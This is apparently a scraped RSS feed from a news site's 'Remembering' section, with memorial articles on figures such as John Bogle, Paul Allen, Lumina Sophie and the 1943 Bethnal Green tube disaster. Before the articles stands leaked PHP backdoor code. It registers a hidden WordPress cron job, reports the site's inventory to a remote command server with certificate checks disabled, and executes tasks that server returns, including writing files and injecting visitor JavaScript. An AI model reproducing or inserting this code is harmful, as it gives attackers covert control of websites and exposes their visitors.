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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Remembering – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 21 Jan 2019 15:44:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Remembering – Brief News https://briefnews.eu 32 32 Remembering John Bogle, patron saint of the amateur investor https://briefnews.eu/remembering-john-bogle-patron-saint-of-the-amateur-investor/ https://briefnews.eu/remembering-john-bogle-patron-saint-of-the-amateur-investor/#respond Mon, 21 Jan 2019 15:44:26 +0000 http://briefnews.eu/remembering-john-bogle-patron-saint-of-the-amateur-investor/ He died on January 16th, aged 89

]]> https://briefnews.eu/remembering-john-bogle-patron-saint-of-the-amateur-investor/feed/ 0 Remembering the Queen of Soul, Aretha FranklinIn our special… https://briefnews.eu/remembering-the-queen-of-soul-aretha-franklinin-our-special/ https://briefnews.eu/remembering-the-queen-of-soul-aretha-franklinin-our-special/#respond Thu, 18 Oct 2018 13:39:02 +0000 http://briefnews.eu/remembering-the-queen-of-soul-aretha-franklinin-our-special/

Remembering the Queen of Soul, Aretha Franklin

In our special tribute issue, we take a look back at her incredible legacy and once-in-a-lifetime voice.

đŸ“·: © 1968 Paul McCartney. Photographer: Linda McCartney

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Paul Allen, the cofounder of Microsoft and billionaire philanthropist, died Monday afternoon after battling non-Hodgkin’s lymphoma.

The 65-year-old Seattle native is best-known for having launched Microsoft with Bill Gates, but he also operated the venture-capital firm Vulcan Ventures, and staked his claim on sports franchises as the owner of the Seattle Seahawks and Portland Trail Blazers.

Allen previously overcame a bout of Hodgkin’s lymphoma in the 1980s, but he was later diagnosed with cancer in 2009, which returned after a period of remission.

As a titan in the tech industry and the world of sports, Allen influenced his colleagues to inspire millions of others through their work.

Here’s how Allen’s friends and associates are responding to his death.

Bill Gates, Microsoft founder and philanthropist

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“I am heartbroken by the passing of one of my oldest and dearest friends,” Gates said in a statement to The Wall Street Journal on Monday. “Paul was a true partner and dear friend.”

Gates and and Allen were high-school friends; they founded Microsoft in 1975.

“Personal computing would not have existed without him,” Gates said.

Tim Cook, Apple CEO

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“Our industry has lost a pioneer and our world has lost a force for good,” Cook said in a tweet on Monday. “We send our deepest condolences to Paul’s friends, the Allen family and everyone at Microsoft.
 

Sundar Pichai, Google CEO

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“We lost a great technology pioneer today – thank you Paul Allen for your immense contributions to the world through your work and your philanthropy,” Pichai said Monday. “Thoughts are with his family and the entire Microsoft community.”


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For France and many of its former overseas colonies, Joan of Arc is the ultimate national heroine — the young woman who stepped out of nowhere and, armed mostly with the white-hot fire of belief, led her people to victory and freedom. But Martinique has another heroine, who stepped out of the bayou armed with the white-hot fire of … well, fire: Lumina Sophie dite Surprise.

Lumina is remembered, when she is remembered, as one of the leaders of her island’s 1870 insurrection. Perhaps it’s harder for France to idealize her story, seeing as European colonists are the villains in it. Or maybe racism persists in French culture — as evidenced by protests when a mixed-race teenager was chosen earlier this year to portray Joan of Arc at an annual pageant.

“For me, she was like a Creole Joan of Arc,” says Suzanne Dracius, who authored a play about Lumina’s life after an account of the 1870 insurrection found its way to her from a bookseller’s stall by the Seine. “There are so many similarities between them: young women who left their serene little universes to put themselves in danger and fight. But there are differences: Lumina was pregnant. And Lumina read newspapers.” But when Dracius visited a history museum in Martinique, Lumina’s name was barely mentioned. Dracius’ 2005 play, Lumina Sophie dite Surprise, revitalized interest in her as a heroine. Now there are songs by local artists about Lumina, as well as a high-rise and a high school named after her.

Lumina organized a group of Pétroleuses — female insurrectionists who shared a name with the legendary fighting women of the Paris Commune just months earlier.

Nicknames were common in Martinique in the immediate aftermath of slavery, reflecting a racist tradition where slaves were given only first names and numbers, and Lumina’s has become part of her moniker in modern times — all one phrase tumbling out, Lumina Sophie dite Surprise: Light, Wisdom, called Surprise. It would be difficult to be more on the nose, unless you were to add something equally mellifluous that means an “ahead-of-her-time renegade who wasn’t afraid to literally burn shit down.”

But back to Martinique. The tiny island had been mapped by Christopher Columbus and then colonized in the 17th century by French settlers; just a few decades later, the first slaves were brought to the island to work on sugar plantations. Power over the island passed between France and Britain for hundreds of years as the two nations battled at home and abroad. The French were still in charge when slavery was abolished on the island in 1848, the same year that Lumina was born, on Nov. 9 in the town of Rivière-Pilote. Her birth was recorded in the local register as Marie-Philomène Roptus, and scant details about her early life indicate that her mother became head of the family when Lumina was 6. At a time when former slaves had no access to formal education, she was also literate, with a penchant for reading newspapers and keeping up with politics. By the age of 21, known for her independent streak, Lumina was working as a seamstress and a merchant — and living with Emile Sidney, a man whose family had been free Black people even before the abolition of slavery on the island. Well-informed but raised in rural poverty, she was in a prime position to understand and protest inequality in Martinique.

Lumina’s revolution lasted only five days. It began when a Black sailor was jailed over a minor altercation with a European man; tensions escalated until the whole region erupted on Sept. 22, 1870. Lumina was then two months pregnant by Sidney, a leader of the revolution who, along with several of his comrades, mysteriously disappeared.

Undeterred, Lumina organized a group of Pétroleuses — female insurrectionists who shared a name with the legendary fighting women of the Paris Commune just months earlier — in torching plantations where their ancestors had worked as slaves, and where Black islanders were then shackled by unfair work contracts aimed at keeping them in economic bondage. On Sept. 26, she was arrested and imprisoned, identified by the governor as the “flame of the revolt.” When her trial finally began the following spring, the first inquest lasted an entire month and a few of the charges against her were dropped. Weeks later, her baby, Théodore Lumina, was born in prison and separated from her immediately, dying just 14 months later.

At the end of May, the trial resumed, conducted entirely in French even though Lumina spoke only Creole. On charges of revolt, blasphemy and burning three homes, she was sentenced to life with hard labor and sent to a prison in Guyana, where she died eight years later at the age of 31, reportedly of exhaustion. After that, according to Dracius, she was all but forgotten in Martinique — outside of folk legend — for more than a century, until media interest rekindled national pride in a woman who may not have been White or a teenage virgin like Joan of Arc but was just as ready to sacrifice herself for a cause she believed in.

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Veteran radio and TV broadcaster Ed Schultz joined RT America in January 2016 and hosted the nightly news as well as several specials, including Brexit and the US presidential election.

Schultz died on July 5, at age 64. We look back at some of his greatest stories.

During the 2016 US presidential campaign, Schultz was able to get several exclusive interviews with independent Senator Bernie Sanders, who was running for the Democratic presidential nomination. Here is an interview from February, on the eve of the Iowa caucus.

Schultz also interviewed the senator’s wife, Jane Sanders, after the April primaries pointed to Hillary Clinton’s victory.

In February 2016, Schultz interviewed Patriarch Kirill of the Russian Orthodox Church, following his historic meeting with Pope Francis.

Schultz was part of the news team that anchored RT’s special coverage of the Brexit referendum in June 2016.

Along with Jesse Ventura and Larry King, Schultz anchored RT America’s special coverage of the US presidential election on November 9, 2016 .

In May 2017, Schultz reported from the Victory Day parade in Moscow’s Red Square.

Schultz also had some choice words in November 2017 for Congress and others investigating allegations of “Russian interference” in the 2016 US presidential election.

“We lost one of the best and most honest journalistic voices in America,” said RT America News Director Mikhail Solodovnikov. “We lost a legend.”

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  • Stephen Hawking died in his home in Cambridge at age 76 on March 14, 2018.
  • The physicist pioneered new ways of understanding black holes and the universe.
  • His popular-science books — especially “A Brief History of Time” — may persist as some of his greatest achievements.

Stephen Hawking, who’s known for his explorations of time and discovering that black holes can evaporate, died today at age 76 in his home in Cambridge.

I was lucky enough to see him speak in person twice, but I first got acquainted with the British physicist during a long Boy Scout trip in Ohio.

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The Bethnal Green tube disaster was hushed upTONY SAPIANO / ALAMY STOCK

The Bethnal Green tube disaster was originally hushed up

By “it” she means the worst civilian disaster of the Second World War, albeit one that was all but absent from the history books for many years.

On a rainy evening of March 3, 1943, 173 people were killed in a crush on the stairs at London’s Bethnal Green Underground station while sheltering from what they thought was a German bombing raid.

Of the victims 84 were women and 62 of them children, while 60 others needed hospital treatment.It was death and injury on a shocking scale and poignantly it was nothing to do with bombing but instead the result of a mass panic caused by the sound of an anti-aircraft gun.

Nor did the wider public know anything about it. Anxious to avoid dampening morale or for the scale of the catastrophe being used as propaganda by enemy forces Winston Churchill used the Official Secrets Act to order a media blackout.

Combined with the traditionally British stoicism of the age it meant the catastrophe was barely discussed, even among the survivors or grieving relatives. 

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Babette Clarke survived with her mum and sister

I have thought many times over the years that if we had got that first bus I wouldn’t be talking to you now as we would have arrived earlier and been caught in the middle of the crush.

Babette Clark

“You didn’t talk about it. It was as simple as that,” Babette, now a sprightly 86, recalls. It has taken decades for the voices of the survivors to be heard and for the victims to be commemorated and last Christmas relatives of the dead and their supporters gathered at Bethnal Green for the unveiling of a memorial in time for the 75th anniversary of the disaster.

A striking, inverted replica of the Underground station’s staircase carved with the names of the victims, it hangs near the entrance as a reminder of what happened.

Babette was there when it was unveiled and confides that she shed a tear. “It was very moving. Standing there took me back.”

Born and raised near Bethnal Green she recalls how when the air-raid siren sounded at 8.17pm that Wednesday night she gathered her clothes and blankets and along with her mother and older sister travelled to the bus stop to make the short journey to the Tube station.

Then half built – the platforms were finished but there was no track – people had been using it as a bomb shelter since the Blitz of 1940 and snakes of people descending the stairs via the station’s single entrance was a familiar routine. 

“Mum had rented two bunks down there. We had a Morrison shelter but none of us liked sleeping in it so if the siren warning went we would all troop off to get our blanket and pillow and head for the bus,” says Babette.

“On this occasion when we got outside we had just missed a bus and had to wait a few minutes for the next one. I have thought many times over the years that if we had got that first bus I wouldn’t be talking to you now as we would have arrived earlier and been caught in the middle of the crush.”

It was a dank, miserable night as the family made their way from the bus stop through the all-encompassing darkness of the blackout, with two more bus-loads following hot on their heels.

“All of a sudden floodlights came on and the rockets went off,” Babette recalls. “It wasn’t a sound anyone had heard before and it was frightening. That’s what caused the pushing.”

What the crowd didn’t know was that it was actually an anti-aircraft gun in nearby Victoria Park but the whistle of the discarded casings made the East Enders think they were under attack. 

The new memorial was unveiled last yearALAMY STOCK

The new memorial was unveiled last year

Amid mounting panic wave after wave of people pushed forward on the Underground stairs to join the hundreds already gathered below. Yet unknown to them a woman carrying her baby had tripped, causing a pile-up.

“Then it was like a domino effect, everyone just falling on top of each other,” says Babette. Standing near the top of the stairs she and her sister were caught in the crush.

“I was holding my sister’s hand when someone fell on the back of me,” she recalls.

“Someone else was trying to drag her out and I can remember my sister saying, ‘Don’t pull me so hard I’ve got my little sister.’ Then finally an air raid warden got us out.”

She remembers the crying and screaming as well as the heat of the bodies. “It was horrible,” she shudders.

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Also caught in the crush with his two brothers was Joseph Walker, now 83 but then just eight. “We all started to go down the steps and I got separated from my brothers,” he says.

‘‘The crowd was getting bigger and I got pushed down the stairs in a wave but luckily my head was clear so I could breathe. It was a long time before we were pulled out. So many were dead around me but someone saw my hand move and I was pulled out. My family were out searching for me.”

Joseph spent nine months in hospital recovering having suffered damage to his spleen, legs, neck and arms. Babette, meanwhile, emerged unscathed along with her sister although there was anguish when after being taken to an air-raid shelter to recover they realised their mother was not there.

“We were wondering where mum was but a little while later she came walking into the shelter. She had been taken into the church opposite. We just felt huge relief.”

Many were not so lucky. Ivy Brind lost her mother as well as her two-year-old nephew Barry, whom she was looking after for her sister-in-law. 

Tubes across London became air raid sheltersGETTY

Tube stations across London became air raid shelters

“She was holding Barry and saw the crowds at the entrance so she turned to go back home,” recalls her daughter Sandra Scotting. “Unfortunately the tide of people coming towards her just threw her back through the doorway and down the stairs. She lay on her back with Barry in her arms while people fell on top of them.”

Barry died along with Ivy’s mum yet for many years the incident was never discussed. “Mum never spoke about that night and nor did my sister,” says Babette.

In fact all were sworn to secrecy but the truth emerged once children went to school to find empty desks and employees realised their colleagues were missing.

“In many cases they have only been able to tell family and friends what happened to them fairly recently,” says Ivy’s daughter Sandra. “With people being killed at home and abroad in the war they just had to get on with life, yet for the Tube shelter survivors it has been with them for ever. It was a very traumatic event for mum.”

Their anguish was worsened by the discovery that the government also suppressed details about the lack of basic safety measures such as lighting and handrails, details that the council had previously reported to them.

It is one reason Sandra was one of a group of people who set up the Stairway To Heaven charity to establish a suitable memorial, believing that the plaque placed above the staircase entrance on the 50th anniversary of the tragedy was inadequate. That campaign finally came to fruition just before Christmas last year when the memorial was unveiled on a chilly December day.

The ribbon was cut by Joan Martin MBE who was the casualty doctor on duty at the nearby hospital on the night of the tragedy, treating the injured and dealing with many of the victims. She has since sadly passed away at the age of 103, never able to forget the trauma of that night.

“She carried it with her throughout her life stating that it was the worst night of her medical career,” Sandra reveals.

Like everyone else present at the unveiling ceremony to the new memorial Dr Martin took comfort from the fact that now at least those involved in the Bethnal Green Tube shelter disaster will never be forgotten.

For Babette it is a poignant legacy of a catastrophe that she feels could have been avoided: “It happened and it needn’t have happened. It is just very sad.”

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